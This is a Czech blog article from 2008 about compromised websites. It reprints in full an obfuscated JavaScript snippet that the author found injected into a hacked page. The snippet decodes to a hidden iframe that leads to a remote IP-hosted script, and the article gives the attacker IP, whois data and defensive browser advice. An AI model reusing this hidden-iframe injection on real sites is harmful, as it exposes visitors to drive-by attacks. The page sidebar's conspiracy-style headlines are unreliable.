Lze chytit vir návštěvou webové stránky?

Vladimír Stwora

27.11.2008 Technická poradna Témata: Počítače 886 slov

Měli jsme tady tento týden dva kritické články proti vyhledávači Google. Myslím, že konsensus čtenářů vyzněl v jeho neprospěch. Ale Google není jen zloduch. Některé věci dělá dobře. Například začíná upozorňovat čtenáře na stránky, které byly „napíchnuty“. Tedy ty, do kterých někdo vtiskl možný škodlivý kód. Pokud je infikovaná stránka zobrazena ve vyhledávači, je u ni varování „Tyto stránky mohou poškodit váš počítač“.

Kliknete-li přesto na stránky, Google vás znovu důrazně varuje, že stránky obsahují něco, co by obsahovat neměly. Navrhne vám návrat na předchozí stránku. Odkaz vedoucí na zasažení stránky dokonce ani není klikací. Velmi rozumné!

Několik takto napadených stránek zde mám. Rozhodl jsem se prozkoumat jejich kód. Pokud to někdo bude dělat po mně, nechť si nejprve vypne Java Script. A zřejmě neuškodí, když vypnete i další doplňky (Java, ActiveX, Shockwave Flash) – pro jistotu.

Některé napadené stránky (neklikat!):

www.okto-systems.com/bnr/php.php
www.davpanipat.ac.in/
fightinggirls.wz.cz/e_links.html

Další najdete lehce zadáním počátku řetězce čísel „60!105!102!114!97!“ (včetně uvozovek) do Google.

Jedna z českých napadených stránek je zde: http://www.volny.cz/l_kopecky/conspiracy/tichezbrane.htm

Na této obsahově ne nezajímavé stránce jsou mimochodem uloženy také Protokoly siónských mudrců – a i ty jsou zavirovány.

Prohlédl jsem si zdrojový kód všech výše uvedených stránek. Všechny obsahují javascriptový kód (v mírných obměnách), který zapisuje něco na stránku. V některých případech je javascript špatně umístěn, takže se neprovede. Podrobněji jsem si prošel kód ze stránky volny.cz, neboť tento kód je správně umístěn a provede se tak, jak útočník zamýšlel. Vypadá takto:

<script>
var temp="",i,c=0,out="";
var if_uniq_var="iu2test";
var start_time="13 Nov 2008 16:45:47";
var str="60!105!102!114!97!109!101!32!115!114!99!61!34!105!117!
50!46!104!116!109!108!34!32!102!114!97!109!101!98!111!114!100!
101!114!61!34!48!34!32!115!116!121!108!101!61!34!100!105!115!
112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp="";
}
document.write(out);
</script>

Aby nebudil pozornost, používá script ASCII formu zápisu znaků. Pro dekódování řady čísel můžete zkusit stránku http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html

Do „decimal ASCII“ vložíte řetězec u proměnné str a objeví se překlad v čitelné podobě:

<iframe src="iu2.html" frameborder=“0“ style=“display: none“></iframe>

Útočník využívá tagu <iframe>, který umožňuje spustit v rámečku další webovou stránku. Aby se stránka nezobrazila, má nastaveno display: none.

Je to šikovná forma, jak vás nasměrovat nepozorovaně na jinou stránku. V tomto případě se jedná o stránku iu2.html umístěnou na stejném serveru. A cože to je, ta stránka iu2.html? Po jejím vyvolání se v url políčku objevilo další přesměrování, tentokrát na http://91.203.93.49/cgi-bin/index.cgi?iu2test (neklikat!)

Komu patří adresa 91.203.93.49?

Podle Whois to vypadá takto:

inetnum: 91.203.93.1 - 91.203.93.128
netname: ZHITOMIR-NET
descr: pool for co-location customers
country: UA
admin-c: ML7676-RIPE
tech-c: ML7676-RIPE
status: ASSIGNED PI
mnt-by: UATELECOM-MNT
source: RIPE # Filtered
person: Mark Liberman
address: Kiev, Ukraine
e-mail: m.liberman@uatelecom.com.ua
phone: +380963801326
nic-hdl: ML7676-RIPE
source: RIPE # Filtered

Takže ta adresa patří někomu na Ukrajině, provider je v Kijevě. Vypadá to, že se v tajnosti provede script s názvem index.cgi (cgi většinou bývá Perl, ale to lze změnit, takže není možno přesně říct, v jakém jazyku je script napsán) na serveru s adresou 91.203.93.49.

Co všechno by mohl takový tajně spuštěný kód dělat? Nejsem hacker a neznám ani desetinu z černé magie hackerských nástrojů. Obecně platí, že scripty nemají normálně přístup na disk uživatele, nicméně jej mohou získat vhodně naformátovaným požadavkem na některý děravý „přílepek“, např. microsftí ActiveX nebo Flash od Shockwave. Hodně záleží na operačním systému a na tom, jak dobře je záplatovaný. Nezáplatovaná Windows jsou vždy zranitelná, slyšel jsem o možnosti číst poštu a dokonce provádět jakékoliv systémové příkazy. Myslím, že i u záplatovaných Windows lze pomocí javascriptu či javy podsunout do prohlížeče proxy server. Zkušenější uživatel by na to zřejmě rychle přišel, méně zkušený ne. Přes proxy server by mohl útočník zaznamenávat všechny vámi navštívené stránky, včetně bankovních stránek, odchytávat hesla apod. Tedy krádež identity. Existuje i možnost číst křížově cookies, tedy cookies jiných stránek. Čtenáři mě jistě doplní dalšími hrůzostrašnostmi.

Bylo by dobré upozornit majitele stránek l_kopecky, že se mu někdo naboural do kódu. Zdá se, že k nabourání došlo 13. listopadu (v adresáři, který lze vypsat[!]) http://www.volny.cz/l_kopecky/conspiracy/ vidíme celou řadu souborů přidaných nebo upravených právě 13. listopadu. Majitel stránek o tom zjevně dosud neví. Bohužel, dotyčný autor nemá na stránkách email. :-( Máte-li někdo kontakt na toho pána, prosím, dejte mu vědět.

Nakažené stránky tedy existují a mohou představovat nebezpečí při pouhé návštěvě. Paranoidním uživatelům internetu bych doporučil vypnout javascript, ale toto řešení vás brzy začne otravovat. Zjistíte, že zhruba třetina navštívených stránek prostě nefunguje nebo funguje omezeně - včetně Zvědavce.

Uživatelé Firefoxu mají možnost nainstalovat doplněk NoScript, ale to také není ideální řešení. Při každé návštěvě stránky se scripty na vás vyskakuje okno a ptá se, zda má prohlížeč script povolit. Lze předem nastavit bezpečné stránky, kterým věříte, ale kdo se s tím má babrat?

Ideální řešení podle mě neexistuje. Snad jen pokud vás Google varuje, že stránky jsou nakažené, věřte mu. Vyjímečně nekecá.

Známka 1.3 (hodnotilo 125)

Oznámkujte kvalitu článku jako ve škole
(1-výborný, 5-hrozný)

1  2  3  4  5 

Káva pro Zvědavce

25

Být v obraze něco stojí.
Připojte se k ostatním a staňte se
také sponzorem Zvědavce, stačí
částka v hodnotě jedné kávy měsíčně.

Za měsíc duben přispělo 32 čtenářů částkou 8 801 korun, což je 25 % měsíčních nákladů provozu Zvědavce.

Bankovní spojení: 2000368066/2010
IBAN: CZ4720100000002000368066
Ze Slovenska 2000368066/8330
IBAN: SK5883300000002000368066
BIC/SWIFT: FIOBCZPPXXX

[PayPal]

Bitcoin:
15SucVps1Cpxd6ahR6uxx6SJiR16SZgR7b

Další možnosti platby ›

Ve zkratce

Zázračný americký lék na koronavirus09.04.20 08:46 USA 0

Nejnovější dezinformace....08.04.20 18:10 Česká republika 5

Hamáček chroptí blahem: asi se podaří prosadit 10 tisíc pokuty vybírané mestapem a policií08.04.20 17:36 Česká republika 8

Pandemie povzbudila plány na budování vysokorychlostních sítí 5G08.04.20 12:13 Neurčeno 0

Revoluce nese smrt?08.04.20 09:26 Neurčeno 4

Ve Španělsku se policie vymkla kontrole07.04.20 21:40 Španělsko 5

Zemřela novinářka Tereza Spencerová07.04.20 18:12 Česká republika 4

Trump potvrdil právo USA na těžbu přírodních zdrojů na Měsíci07.04.20 14:18 USA 4

Pokuta 25 tisíc korun za bezdůvodnou jízdu autem během epidemie?07.04.20 13:51 Austrálie 4

Bill Gates: “Bez očkování proti COVID-19 nikdo nesmí za hranice ani sehnat práci”07.04.20 07:56 USA 5

Někdo zaútočil na českou ambasádu v Moskvě. Petříček se zlobí: musíte nás ochránit!06.04.20 17:13 Rusko 5

Ropa ve Venezuele je nyní ve vlastnictví Ruska06.04.20 16:48 Venezuela 0

Na několika místech Velké Británie zapalují lidé vysílače 5G, podezírají je z podpory šíření koronaviru05.04.20 16:15 Británie 9

Staří bardi se probouzejí v zakrátko těžce zkoušené zemi05.04.20 13:02 USA 0

Vakcína ještě není, ale "odborníci" se už obávají reakce odmítáčů05.04.20 09:11 USA 8

Výroba ,,nezávadných, hygienických“ roušek05.04.20 07:58 Indie 7

Byl 15. březen 2020...04.04.20 19:59 Česká republika 5

Česká armáda odmítla pomoci českým lidem...04.04.20 12:10 Česká republika 3

Praha 6 přesouvá Koněva03.04.20 11:08 Česká republika 6

Hermafrodité a úchylové v Panamě mají problém. Málo respektu k jejich úchylce03.04.20 10:48 Panama 2

Měnové kurzy

USD
24,98 Kč
Euro
27,15 Kč
Libra
30,97 Kč
Kanadský dolar
17,81 Kč
Australský dolar
15,58 Kč
Švýcarský frank
25,71 Kč
100 japonských jenů
22,92 Kč
Čínský juan
3,54 Kč
Polský zloty
5,99 Kč
100 maď. forintů
7,57 Kč
Ukrajinská hřivna
0,92 Kč
100 rublů
33,29 Kč
1 unce (31,1g) zlata
41 195,22 Kč
1 unce stříbra
376,88 Kč
Bitcoin
182 129,21 Kč

Poslední aktualizace: 9.4.2020 06:33 SEČ

Tuto stránku navštívilo 21 771